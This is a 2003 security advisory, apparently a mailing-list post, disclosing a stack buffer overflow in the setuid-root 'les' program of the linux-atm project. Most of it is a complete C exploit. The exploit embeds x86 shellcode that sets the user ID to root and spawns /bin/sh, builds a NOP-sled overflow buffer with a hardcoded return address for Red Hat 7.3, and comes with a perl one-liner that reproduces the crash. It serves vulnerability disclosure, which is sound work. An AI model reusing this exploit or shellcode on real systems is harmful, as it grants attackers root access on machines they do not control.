ATM on Linux Exploit Code Release (les, local) by Angelo Rosiello

Copyright (c) 2003 DTORS Security

All rights reserved.

http://dtors.net

I. SUMMARY

ATM support for Linux is currently in pre-alpha stage. There is an

experimental release, which supports raw ATM connections (PVCs and SVCs),

IP over ATM, LAN emulation, MPOA, Arequipa, and some other goodies.

A vulnerability in the product allows local attackers to cause it to

execute arbitrary code, as it setuid root, a local attacker can gain

elevated privileges.

II. PATCHES

The Admin of the project was contacted and informed.

The patch will be out as soon as possible.

To contact the author mail to: chas (at) locutus.cmf.nrl.navy (dot) mil [email concealed]

III. DETAILS & EXPLOIT

/*

*** Exploit against the linux-atm project

***

*** http://sourceforge.net/projects/linux-atm

***************************************************************

*** VULNERABILITY

***

*** Stack Overflow discovered by Angelo Rosiello

*** /usr/local/sbin/les -f `perl -e 'print "A"x252'`

*** Program received signal SIGSEGV, Segmentation fault.

*** 0x41414141 in ?? ()

****************************************************************

*** AUTHOR: Angelo Rosiello

*** CONTACT: angelo (at) dtors (dot) net [email concealed], rosiello.angelo (at) virgilio (dot) it [email concealed]

*** guilecool (at) usa (dot) com [email concealed]

***

*** Copyright (c) 2003 DTORS Security

*** All rights reserved.

*** http://dtors.net

***

*** SHELLCODE by esDee

***

*** 18/02/2003

***

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define NOP 0x90 // No operation instruction

#define LEN 252 // Our buffer size

void usage();

static char shellcode[] =

// setreuid(0,0);

"\x31\xc0" // xor %eax,%eax

"\x31\xdb" // xor %ebx,%ebx

"\x31\xc9" // xor %ecx,%ecx

"\xb0\x46" // mov $0x46,%al

"\xcd\x80" // int $0x80

// execve /bin/sh

"\x31\xc0" // xor %eax,%eax

"\x50" // push %eax

"\x68\x2f\x2f\x73\x68" // push $0x68732f2f

"\x68\x2f\x62\x69\x6e" // push $0x6e69622f

"\x89\xe3" // mov %esp,%ebx

"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx

"\x50" // push %eax

"\x53" // push %ebx

"\x8d\x0c\x24" // lea (%esp,1),%ecx

"\xb0\x0b" // mov $0xb,%al

"\xcd\x80" // int $0x80

// exit();

"\x31\xc0" // xor %eax,%eax

"\xb0\x01" // mov $0x1,%al

"\xcd\x80"; // int $0x80

struct

{

int number;

char *version;

long ret;

char path[256];

} target[] =

{

{1," Red Hat Linux release 7.3 (Valhalla)",

0xbffff860, "/usr/local/sbin/les"},

{2," No defined", 0xffffffff , "/usr/local/sbin/les"},

};

main(int argc, char *argv[])

{

char buffer[LEN];

int i;

long ret;

char *PATH;

int selection;

if(argc == 1)

{

usage((char **)argv[0]);

exit(1);

}

selection = atoi(argv[2]);

printf("Ret = 0x%lx and PATH= %s\n", target[selection-1].ret,

(char **)target[selection-1].path);

printf("\nCopyright (c) 2003 DTORS Security\n");

printf("ANGELO ROSIELLO 18/02/2003\n");

printf("\tLES-EXPLOIT for Linux x86\n\n");

ret = target[selection-1].ret;

PATH = target[selection-1].path;

// Build the overflow string.

for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = ret;

// copy NOP

for (i=0; i<(LEN-strlen(shellcode)-25);i++) *(buffer+i) = NOP;

// Copy the shellcode into the buffer.

memcpy(buffer+i,shellcode,strlen(shellcode));

// Execute the program

execl(PATH, "les", "-f", buffer, NULL);

}

void usage(char *argv[])

{

int i = 0;

printf("\nUsage:\n%s -t [target number]\n\nTargets\n",*(char **)

&argv);

while(target[i].number)

{

printf("[%d] %s \n", target[i].number, target[i].version);

i++;

}

}

IV. CREDIT

Angelo Rosiello discovered this vulnerability exploiting it.

Contact: rosiello.angelo (at) virgilio (dot) it [email concealed], angelo (at) dtors (dot) net [email concealed], guilecool (at) usa (dot) com [email concealed]

Any test was done in the "Politecnico di Milano" University (Italy).

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